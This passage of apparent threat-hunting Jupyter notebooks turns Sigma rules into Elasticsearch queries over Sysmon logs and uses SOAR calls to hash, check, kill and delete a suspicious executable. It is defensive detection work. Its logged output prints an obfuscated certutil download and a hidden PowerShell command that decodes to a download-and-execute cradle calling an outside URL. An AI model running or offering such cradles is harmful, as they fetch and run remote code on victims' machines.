\\\n", 568 | " Parent GUID: {}\\\n", 569 | " \".format(\n", 570 | " row['UNIXTIME'],\n", 571 | " row['sourceusername'], \n", 572 | " row['devicecustomstring4'], \n", 573 | " #row['destinationusername'],\n", 574 | " row['filepath'],\n", 575 | " row['destinationprocessname'],\n", 576 | " row['deviceprocessid'],\n", 577 | " row['resourcecustomfield1'],\n", 578 | " row['sourceprocessname'],\n", 579 | " row['deviceexternalid'], #guid\n", 580 | " row['flowsiemid'], #parent guid \n", 581 | " \n", 582 | " )\n", 583 | " G.add_node(row['deviceexternalid'], color='#30a1a5',size=20, title=process_meta, label=row['destinationprocessname'])\n", 584 | " G.add_edge(row['flowsiemid'], row['deviceexternalid'], weight=10)\n", 585 | " return 1\n", 586 | "\n", 587 | "process_tree_nodes['OK'] = process_tree_nodes.apply(lambda row: create_graph(row), axis=1)\n", 588 | "\n", 589 | "nt = net.Network(\"400px\", \"1500px\", heading=\"Process Tree Graph\", notebook=True, directed=True)\n", 590 | "nt.from_nx(G)\n", 591 | "nt.show(\"process_tree_graph.html\")" 592 | ], 593 | "outputs": [ 594 | { 595 | "output_type": "stream", 596 | "name": "stderr", 597 | "text": [ 598 | "processed: 1 requests: 100%|██████████| 1/1 [00:01<00:00, 1.24s/it]\n" 599 | ] 600 | }, 601 | { 602 | "output_type": "execute_result", 603 | "data": { 604 | "text/html": [ 605 | "\n", 606 | " \n", 613 | " " 614 | ], 615 | "text/plain": [ 616 | "" 617 | ] 618 | }, 619 | "metadata": {}, 620 | "execution_count": 12 621 | } 622 | ], 623 | "metadata": {} 624 | }, 625 | { 626 | "cell_type": "markdown", 627 | "source": [ 628 | "\n", 629 | "## Let's get hash of this suspicious file \"C:\\\\temp\\\\p.exe\" using SX SOAR microservice " 630 | ], 631 | "metadata": {} 632 | }, 633 | { 634 | "cell_type": "code", 635 | "execution_count": 13, 636 | "source": [ 637 | "filepath = \"C:\\\\temp\\\\p.exe\"\n", 638 | "results = cs.returnFileHashByFilePath(filepath, device)\n", 639 | "filehash = results[\"SHA256\"]\n", 640 | "print(\"sha256 hash: %s\" % filehash)" 641 | ], 642 | "outputs": [ 643 | { 644 | "output_type": "stream", 645 | "name": "stdout", 646 | "text": [ 647 | "sha256 hash: DBD961168786CF454201CCBEF2C7AA7FA72A62A9D353032393CB31C2F8B37D60\n" 648 | ] 649 | } 650 | ], 651 | "metadata": {} 652 | }, 653 | { 654 | "cell_type": "markdown", 655 | "source": [ 656 | "\n", 657 | "## Check this hash at VT using SX SOAR microservice" 658 | ], 659 | "metadata": {} 660 | }, 661 | { 662 | "cell_type": "code", 663 | "execution_count": 14, 664 | "source": [ 665 | "report = vt.retrieveScanFileReport(filehash)\n", 666 | "print(\"VT Status: %s\" % report[filehash]['status'])\n" 667 | ], 668 | "outputs": [ 669 | { 670 | "output_type": "stream", 671 | "name": "stdout", 672 | "text": [ 673 | "VT Status: 1/58\n" 674 | ] 675 | } 676 | ], 677 | "metadata": {} 678 | }, 679 | { 680 | "cell_type": "markdown", 681 | "source": [ 682 | "\n", 683 | "## Terminate process file from device using SX SOAR Microservice" 684 | ], 685 | "metadata": {} 686 | }, 687 | { 688 | "cell_type": "code", 689 | "execution_count": 15, 690 | "source": [ 691 | "results = cs.terminateRunningProcess(\"p.exe\", device)\n", 692 | "results" 693 | ], 694 | "outputs": [ 695 | { 696 | "output_type": "execute_result", 697 | "data": { 698 | "text/plain": [ 699 | "{'Termination Status by ProcessID': {'7512': 'Process killed successfully'},\n", 700 | " 'Hostname': 'WIN10-LAPTOP004',\n", 701 | " 'Process': 'p.exe'}" 702 | ] 703 | }, 704 | "metadata": {}, 705 | "execution_count": 15 706 | } 707 | ], 708 | "metadata": {} 709 | }, 710 | { 711 | "cell_type": "markdown", 712 | "source": [ 713 | "\n", 714 | "## Delete file from device using SX SOAR Microservice" 715 | ], 716 | "metadata": {} 717 | }, 718 | { 719 | "cell_type": "code", 720 | "execution_count": 16, 721 | "source": [ 722 | "results = cs.deleteFileByFileName(\"p.exe\", device)\n", 723 | "results" 724 | ], 725 | "outputs": [ 726 | { 727 | "output_type": "execute_result", 728 | "data": { 729 | "text/plain": [ 730 | "{'Status': 'Deleted'}" 731 | ] 732 | }, 733 | "metadata": {}, 734 | "execution_count": 16 735 | } 736 | ], 737 | "metadata": {} 738 | }, 739 | { 740 | "cell_type": "code", 741 | "execution_count": null, 742 | "source": [], 743 | "outputs": [], 744 | "metadata": {} 745 | } 746 | ], 747 | "metadata": { 748 | "kernelspec": { 749 | "display_name": "Python 3", 750 | "language": "python", 751 | "name": "python3" 752 | }, 753 | "language_info": { 754 | "codemirror_mode": { 755 | "name": "ipython", 756 | "version": 3 757 | }, 758 | "file_extension": ".py", 759 | "mimetype": "text/x-python", 760 | "name": "python", 761 | "nbconvert_exporter": "python", 762 | "pygments_lexer": "ipython3", 763 | "version": "3.8.1" 764 | } 765 | }, 766 | "nbformat": 4, 767 | "nbformat_minor": 4 768 | } -------------------------------------------------------------------------------- /omega/examples/CertutilObfuscation.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "### Hunting detection #4\n" 8 | ] 9 | }, 10 | { 11 | "cell_type": "code", 12 | "execution_count": 1, 13 | "metadata": {}, 14 | "outputs": [], 15 | "source": [ 16 | "import sys,os\n", 17 | "os.chdir('../../')\n", 18 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n" 19 | ] 20 | }, 21 | { 22 | "cell_type": "markdown", 23 | "metadata": {}, 24 | "source": [ 25 | "## Import Libraries and convert detection to SIEM query" 26 | ] 27 | }, 28 | { 29 | "cell_type": "code", 30 | "execution_count": 2, 31 | "metadata": {}, 32 | "outputs": [ 33 | { 34 | "name": "stdout", 35 | "output_type": "stream", 36 | "text": [ 37 | "{\n", 38 | " \"query\": {\n", 39 | " \"constant_score\": {\n", 40 | " \"filter\": {\n", 41 | " \"bool\": {\n", 42 | " \"must\": [\n", 43 | " {\n", 44 | " \"match_phrase\": {\n", 45 | " \"event_id\": \"1\"\n", 46 | " }\n", 47 | " },\n", 48 | " {\n", 49 | " \"bool\": {\n", 50 | " \"should\": [\n", 51 | " {\n", 52 | " \"wildcard\": {\n", 53 | " \"process_command_line.keyword\": \"*/f*\"\n", 54 | " }\n", 55 | " },\n", 56 | " {\n", 57 | " \"wildcard\": {\n", 58 | " \"process_command_line.keyword\": \"*-f*\"\n", 59 | " }\n", 60 | " }\n", 61 | " ]\n", 62 | " }\n", 63 | " }\n", 64 | " ]\n", 65 | " }\n", 66 | " }\n", 67 | " }\n", 68 | " }\n", 69 | "}\n" 70 | ] 71 | } 72 | ], 73 | "source": [ 74 | "import json\n", 75 | "from sigma.config.collection import SigmaConfigurationManager\n", 76 | "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n", 77 | "from sigma.parser.collection import SigmaCollectionParser\n", 78 | "from sigma.backends.elasticsearch import ElastalertBackendQs\n", 79 | "\n", 80 | "from sigma.backends.elasticsearch import ElasticsearchDSLBackend\n", 81 | "\n", 82 | "\n", 83 | "class ConvertDetection(ElasticsearchDSLBackend):\n", 84 | " def __init__(self, *args, **kwargs):\n", 85 | " mapping, = args\n", 86 | " with open(mapping, 'r') as stream:\n", 87 | " self.sigmaconfigs = SigmaConfiguration(configyaml=stream)\n", 88 | " super().__init__(self.sigmaconfigs, {})\n", 89 | "\n", 90 | " def convert(self, a2b_file):\n", 91 | " with open(a2b_file, 'r') as stream:\n", 92 | " parser = SigmaCollectionParser(stream, self.sigmaconfigs, None)\n", 93 | "\n", 94 | " parser.generate(self)\n", 95 | " result = self.finalize()\n", 96 | " return result\n", 97 | " \n", 98 | "mapping = \"./Demo/RT-TOP5/detections/mapping.yml\"\n", 99 | "detection = \"./Demo/RT-TOP5/detections/detection4.yml\"\n", 100 | "\n", 101 | "backend = ConvertDetection(mapping)\n", 102 | "query_txt = backend.convert(detection)\n", 103 | "query = json.loads(query_txt)\n", 104 | "print(json.dumps(\n", 105 | " query,\n", 106 | " sort_keys=True,\n", 107 | " indent=4,\n", 108 | " separators=(',', ': ')\n", 109 | "))\n" 110 | ] 111 | }, 112 | { 113 | "cell_type": "markdown", 114 | "metadata": {}, 115 | "source": [ 116 | "## Create connection to SIEM and run converted query" 117 | ] 118 | }, 119 | { 120 | "cell_type": "code", 121 | "execution_count": 3, 122 | "metadata": {}, 123 | "outputs": [ 124 | { 125 | "name": "stdout", 126 | "output_type": "stream", 127 | "text": [ 128 | "Got 2945 Hits\n" 129 | ] 130 | } 131 | ], 132 | "source": [ 133 | "#!python3 -m pip install elasticsearch\n", 134 | "from elasticsearch import Elasticsearch\n", 135 | "es = Elasticsearch(['http://localhost:9200'])\n", 136 | "res = es.search(index=\"logs-endpoint-winevent-sysmon-*\", body=query, size='10000')\n", 137 | "print(\"Got %d Hits\" % res['hits']['total']['value'])" 138 | ] 139 | }, 140 | { 141 | "cell_type": "code", 142 | "execution_count": null, 143 | "metadata": {}, 144 | "outputs": [], 145 | "source": [ 146 | "# res['hits']" 147 | ] 148 | }, 149 | { 150 | "cell_type": "markdown", 151 | "metadata": {}, 152 | "source": [ 153 | "## Check results " 154 | ] 155 | }, 156 | { 157 | "cell_type": "code", 158 | "execution_count": 4, 159 | "metadata": {}, 160 | "outputs": [ 161 | { 162 | "data": { 163 | "text/html": [ 164 | "
\n", 165 | "\n", 178 | "\n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | "
event_original_timeprocess_command_line
02021-07-27T00:38:43.359Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
12021-07-27T00:38:44.548Z\"collectguestlogs.exe\" -mode:ga -filename:d:\\c...
22021-07-27T00:38:44.565Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
32021-07-27T00:38:53.531Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
42021-07-27T00:29:37.057Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
.........
29402021-08-03T13:27:34.379Zc:\\windows\\system32\\taskkill.exe /f /fi \"modul...
29412021-08-03T13:27:34.387Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
29422021-08-03T13:27:34.564Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
29432021-08-03T13:27:33.881Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
29442021-08-03T13:27:38.080Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff...
\n", 244 | "

2945 rows × 2 columns

\n", 245 | "
" 246 | ], 247 | "text/plain": [ 248 | " event_original_time \\\n", 249 | "0 2021-07-27T00:38:43.359Z \n", 250 | "1 2021-07-27T00:38:44.548Z \n", 251 | "2 2021-07-27T00:38:44.565Z \n", 252 | "3 2021-07-27T00:38:53.531Z \n", 253 | "4 2021-07-27T00:29:37.057Z \n", 254 | "... ... \n", 255 | "2940 2021-08-03T13:27:34.379Z \n", 256 | "2941 2021-08-03T13:27:34.387Z \n", 257 | "2942 2021-08-03T13:27:34.564Z \n", 258 | "2943 2021-08-03T13:27:33.881Z \n", 259 | "2944 2021-08-03T13:27:38.080Z \n", 260 | "\n", 261 | " process_command_line \n", 262 | "0 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 263 | "1 \"collectguestlogs.exe\" -mode:ga -filename:d:\\c... \n", 264 | "2 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 265 | "3 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 266 | "4 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 267 | "... ... \n", 268 | "2940 c:\\windows\\system32\\taskkill.exe /f /fi \"modul... \n", 269 | "2941 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 270 | "2942 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 271 | "2943 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 272 | "2944 \\??\\c:\\windows\\system32\\conhost.exe 0xffffffff... \n", 273 | "\n", 274 | "[2945 rows x 2 columns]" 275 | ] 276 | }, 277 | "execution_count": 4, 278 | "metadata": {}, 279 | "output_type": "execute_result" 280 | } 281 | ], 282 | "source": [ 283 | "from pandas import json_normalize\n", 284 | "import pandas as pd\n", 285 | "#pd.set_option('display.max_colwidth', None)\n", 286 | "\n", 287 | "df = json_normalize([x['_source'] for x in res['hits']['hits']])\n", 288 | "df[['event_original_time', 'process_command_line']]\n", 289 | "# with pd.option_context('display.max_rows', 10, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n", 290 | "# df_styled = df.copy()\n", 291 | "# df_styled = df_styled[['event_original_time', 'process_command_line']]\n", 292 | "# df_styled = df_styled.stack().str.lstrip().unstack()\n", 293 | "# df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n", 294 | " \n", 295 | "# df_styled" 296 | ] 297 | }, 298 | { 299 | "cell_type": "code", 300 | "execution_count": 6, 301 | "metadata": {}, 302 | "outputs": [ 303 | { 304 | "data": { 305 | "text/html": [ 306 | "\n", 310 | " \n", 311 | " \n", 312 | " \n", 313 | " \n", 314 | " \n", 315 | " \n", 316 | " \n", 317 | " \n", 318 | " \n", 319 | " \n", 320 | " \n", 321 | " \n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | "
event_original_time process_command_line
28512021-08-03T08:51:04.538Zcertutil -f -₞u₞rᴸ\"c₞a₞ch\"e -split https://wietze.github.io/robots.txt output.txt
02021-07-27T00:38:43.359Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1
19672021-07-30T08:45:29.361Zc:\\windows\\system32\\compattelrunner.exe -m:appraiser.dll -f:updateavstatus -cv:c9kfrkhweu2+g8u3.3
19582021-07-30T05:00:14.730Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1
19592021-07-30T05:00:22.594Z\\??\\c:\\windows\\system32\\conhost.exe 0xffffffff -forcev1
" 336 | ], 337 | "text/plain": [ 338 | "" 339 | ] 340 | }, 341 | "execution_count": 6, 342 | "metadata": {}, 343 | "output_type": "execute_result" 344 | } 345 | ], 346 | "source": [ 347 | "def calc(cmdline):\n", 348 | " return len(cmdline) - len(cmdline.encode(\"ascii\", \"ignore\"))\n", 349 | "\n", 350 | "df['obf'] = df.apply(lambda row : calc(row['process_command_line']), axis = 1)\n", 351 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n", 352 | " df_styled = df[['event_original_time', 'process_command_line', 'obf']].sort_values(by=['obf'], ascending=False).head(5).copy()\n", 353 | " df_styled = df_styled[['event_original_time', 'process_command_line']]\n", 354 | " df_styled = df_styled.stack().str.lstrip().unstack()\n", 355 | " df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n", 356 | " \n", 357 | "df_styled\n", 358 | "\n", 359 | "\n" 360 | ] 361 | }, 362 | { 363 | "cell_type": "code", 364 | "execution_count": null, 365 | "metadata": {}, 366 | "outputs": [], 367 | "source": [] 368 | } 369 | ], 370 | "metadata": { 371 | "kernelspec": { 372 | "display_name": "Python 3", 373 | "language": "python", 374 | "name": "python3" 375 | }, 376 | "language_info": { 377 | "codemirror_mode": { 378 | "name": "ipython", 379 | "version": 3 380 | }, 381 | "file_extension": ".py", 382 | "mimetype": "text/x-python", 383 | "name": "python", 384 | "nbconvert_exporter": "python", 385 | "pygments_lexer": "ipython3", 386 | "version": "3.8.1" 387 | } 388 | }, 389 | "nbformat": 4, 390 | "nbformat_minor": 4 391 | } 392 | -------------------------------------------------------------------------------- /omega/examples/PSObfuscation.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "### Hunting detection #1" 8 | ] 9 | }, 10 | { 11 | "cell_type": "code", 12 | "execution_count": 1, 13 | "metadata": {}, 14 | "outputs": [], 15 | "source": [ 16 | "import sys,os\n", 17 | "os.chdir('../../')\n", 18 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n" 19 | ] 20 | }, 21 | { 22 | "cell_type": "markdown", 23 | "metadata": {}, 24 | "source": [ 25 | "## Import Libraries and convert detection to SIEM query" 26 | ] 27 | }, 28 | { 29 | "cell_type": "code", 30 | "execution_count": 2, 31 | "metadata": {}, 32 | "outputs": [ 33 | { 34 | "name": "stdout", 35 | "output_type": "stream", 36 | "text": [ 37 | "{\n", 38 | " \"query\": {\n", 39 | " \"constant_score\": {\n", 40 | " \"filter\": {\n", 41 | " \"bool\": {\n", 42 | " \"must\": [\n", 43 | " {\n", 44 | " \"match_phrase\": {\n", 45 | " \"event_id\": \"1\"\n", 46 | " }\n", 47 | " },\n", 48 | " {\n", 49 | " \"wildcard\": {\n", 50 | " \"process_command_line.keyword\": \"* -e*\"\n", 51 | " }\n", 52 | " },\n", 53 | " {\n", 54 | " \"bool\": {\n", 55 | " \"should\": [\n", 56 | " {\n", 57 | " \"wildcard\": {\n", 58 | " \"process_command_line.keyword\": \"* jab*\"\n", 59 | " }\n", 60 | " },\n", 61 | " {\n", 62 | " \"wildcard\": {\n", 63 | " \"process_command_line.keyword\": \"* sqbfafga*\"\n", 64 | " }\n", 65 | " }\n", 66 | " ]\n", 67 | " }\n", 68 | " }\n", 69 | " ]\n", 70 | " }\n", 71 | " }\n", 72 | " }\n", 73 | " }\n", 74 | "}\n" 75 | ] 76 | } 77 | ], 78 | "source": [ 79 | "import json\n", 80 | "from sigma.config.collection import SigmaConfigurationManager\n", 81 | "from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain\n", 82 | "from sigma.parser.collection import SigmaCollectionParser\n", 83 | "from sigma.backends.elasticsearch import ElastalertBackendQs\n", 84 | "\n", 85 | "from sigma.backends.elasticsearch import ElasticsearchDSLBackend\n", 86 | "\n", 87 | "\n", 88 | "class ConvertDetection(ElasticsearchDSLBackend):\n", 89 | " def __init__(self, *args, **kwargs):\n", 90 | " mapping, = args\n", 91 | " with open(mapping, 'r') as stream:\n", 92 | " self.sigmaconfigs = SigmaConfiguration(configyaml=stream)\n", 93 | " super().__init__(self.sigmaconfigs, {})\n", 94 | "\n", 95 | " def convert(self, a2b_file):\n", 96 | " with open(a2b_file, 'r') as stream:\n", 97 | " parser = SigmaCollectionParser(stream, self.sigmaconfigs, None)\n", 98 | "\n", 99 | " parser.generate(self)\n", 100 | " result = self.finalize()\n", 101 | " return result\n", 102 | " \n", 103 | "mapping = \"./Demo/RT-TOP5/detections/mapping.yml\"\n", 104 | "detection = \"./Demo/RT-TOP5/detections/detection1.yml\"\n", 105 | "\n", 106 | "backend = ConvertDetection(mapping)\n", 107 | "query_txt = backend.convert(detection)\n", 108 | "query = json.loads(query_txt)\n", 109 | "print(json.dumps(\n", 110 | " query,\n", 111 | " sort_keys=True,\n", 112 | " indent=4,\n", 113 | " separators=(',', ': ')\n", 114 | "))\n" 115 | ] 116 | }, 117 | { 118 | "cell_type": "markdown", 119 | "metadata": {}, 120 | "source": [ 121 | "## Create connection to SIEM and run converted query" 122 | ] 123 | }, 124 | { 125 | "cell_type": "code", 126 | "execution_count": 3, 127 | "metadata": {}, 128 | "outputs": [ 129 | { 130 | "name": "stdout", 131 | "output_type": "stream", 132 | "text": [ 133 | "Got 2 Hits\n" 134 | ] 135 | } 136 | ], 137 | "source": [ 138 | "#!python3 -m pip install elasticsearch\n", 139 | "from elasticsearch import Elasticsearch\n", 140 | "es = Elasticsearch(['http://localhost:9200'])\n", 141 | "res = es.search(index=\"logs-endpoint-winevent-sysmon-*\", body=query)\n", 142 | "print(\"Got %d Hits\" % res['hits']['total']['value'])" 143 | ] 144 | }, 145 | { 146 | "cell_type": "markdown", 147 | "metadata": {}, 148 | "source": [ 149 | "## Check results " 150 | ] 151 | }, 152 | { 153 | "cell_type": "code", 154 | "execution_count": 4, 155 | "metadata": {}, 156 | "outputs": [ 157 | { 158 | "data": { 159 | "text/html": [ 160 | "\n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | "
process_command_line
0\"c:\\windows\\system32\\cmd.exe\" /c powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa=
1powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa=
" 173 | ], 174 | "text/plain": [ 175 | "" 176 | ] 177 | }, 178 | "execution_count": 4, 179 | "metadata": {}, 180 | "output_type": "execute_result" 181 | } 182 | ], 183 | "source": [ 184 | "from pandas import json_normalize\n", 185 | "import pandas as pd\n", 186 | "#pd.set_option('display.max_colwidth', None)\n", 187 | "\n", 188 | "df = json_normalize([x['_source'] for x in res['hits']['hits']])\n", 189 | "\n", 190 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n", 191 | " df_styled = df.copy()\n", 192 | " df_styled = df_styled[['process_command_line']]\n", 193 | " df_styled = df_styled.stack().str.lstrip().unstack()\n", 194 | " df_styled = df_styled.style.set_properties(**{'text-align': 'left'})\n", 195 | " \n", 196 | "df_styled" 197 | ] 198 | }, 199 | { 200 | "cell_type": "markdown", 201 | "metadata": {}, 202 | "source": [ 203 | "## Decode powershell base64 commands" 204 | ] 205 | }, 206 | { 207 | "cell_type": "code", 208 | "execution_count": 5, 209 | "metadata": {}, 210 | "outputs": [ 211 | { 212 | "data": { 213 | "text/html": [ 214 | "\n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | "
decoded process_command_line process_name
0I\u0000E\u0000X\u0000 \u0000(\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000c\u0000l\u0000i\u0000e\u0000n\u0000t\u0000)\u0000.\u0000d\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000s\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000n\u0000e\u0000t\u0000v\u0000a\u0000l\u0000l\u0000e\u0000y\u0000k\u0000e\u0000n\u0000y\u0000a\u0000.\u0000c\u0000o\u0000m\u0000/\u0000c\u0000r\u0000m\u0000.\u0000p\u0000h\u0000p\u0000\"\u0000)\u0000\"c:\\windows\\system32\\cmd.exe\" /c powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa=cmd.exe
1I\u0000E\u0000X\u0000 \u0000(\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000c\u0000l\u0000i\u0000e\u0000n\u0000t\u0000)\u0000.\u0000d\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000s\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000n\u0000e\u0000t\u0000v\u0000a\u0000l\u0000l\u0000e\u0000y\u0000k\u0000e\u0000n\u0000y\u0000a\u0000.\u0000c\u0000o\u0000m\u0000/\u0000c\u0000r\u0000m\u0000.\u0000p\u0000h\u0000p\u0000\"\u0000)\u0000powershell -nop -w hidden -ep bypass -enc sqbfafgaiaaoae4azqb3ac0atwbiagoazqbjahqaiaboaguadaauafcazqbiagmababpaguabgb0ackalgbkag8adwbuagwabwbhagqacwb0ahiaaqbuagcakaaiaggadab0ahaaogavac8abgblahqadgbhagwabablahkaawblag4aeqbhac4aywbvag0alwbjahiabqauahaaaabwaciakqa=powershell.exe
" 231 | ], 232 | "text/plain": [ 233 | "" 234 | ] 235 | }, 236 | "execution_count": 5, 237 | "metadata": {}, 238 | "output_type": "execute_result" 239 | } 240 | ], 241 | "source": [ 242 | "import re\n", 243 | "import base64\n", 244 | "\n", 245 | " \n", 246 | "def decode_b64(event):\n", 247 | " _BASE64_REGEX = \"[A-Za-z0-9+\\\\n\\\\r]{30,}={0,2}\"\n", 248 | " BASE64_REGEX_C = re.compile(_BASE64_REGEX, re.I | re.X)\n", 249 | " b64match = BASE64_REGEX_C.search(event)\n", 250 | " if b64match is None:\n", 251 | " return \"-\"\n", 252 | " b64_candidate = b64match[0]\n", 253 | " return base64.b64decode(b64_candidate).decode('utf-8') \n", 254 | "df['decoded'] = df.apply(lambda row: decode_b64(row['event_original_message']), axis=1)\n", 255 | "\n", 256 | "with pd.option_context('display.max_rows', None, 'display.max_columns', None, 'display.colheader_justify','light', 'display.width', 2000, 'display.max_colwidth', 500):\n", 257 | " df = df[['decoded', 'process_command_line', 'process_name']]\n", 258 | " df = df.stack().str.lstrip().unstack()\n", 259 | " df = df.style.set_properties(**{'text-align': 'left'})\n", 260 | " \n", 261 | "df\n" 262 | ] 263 | }, 264 | { 265 | "cell_type": "code", 266 | "execution_count": null, 267 | "metadata": {}, 268 | "outputs": [], 269 | "source": [] 270 | } 271 | ], 272 | "metadata": { 273 | "kernelspec": { 274 | "display_name": "Python 3", 275 | "language": "python", 276 | "name": "python3" 277 | }, 278 | "language_info": { 279 | "codemirror_mode": { 280 | "name": "ipython", 281 | "version": 3 282 | }, 283 | "file_extension": ".py", 284 | "mimetype": "text/x-python", 285 | "name": "python", 286 | "nbconvert_exporter": "python", 287 | "pygments_lexer": "ipython3", 288 | "version": "3.8.1" 289 | } 290 | }, 291 | "nbformat": 4, 292 | "nbformat_minor": 4 293 | } 294 | -------------------------------------------------------------------------------- /omega/examples/demo-auto-drc.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 1, 6 | "metadata": {}, 7 | "outputs": [], 8 | "source": [ 9 | "import pandas as pd\n", 10 | "import sys,os\n", 11 | "os.chdir('../../')\n", 12 | "sys.path += [ os.path.abspath('../str-omega'), os.path.abspath('../str-omega/sigma/tools')]\n", 13 | "\n", 14 | "from omega.vizr import VizrIntegration\n" 15 | ] 16 | }, 17 | { 18 | "cell_type": "code", 19 | "execution_count": 2, 20 | "metadata": {}, 21 | "outputs": [ 22 | { 23 | "name": "stdout", 24 | "output_type": "stream", 25 | "text": [ 26 | "#drc\n", 27 | 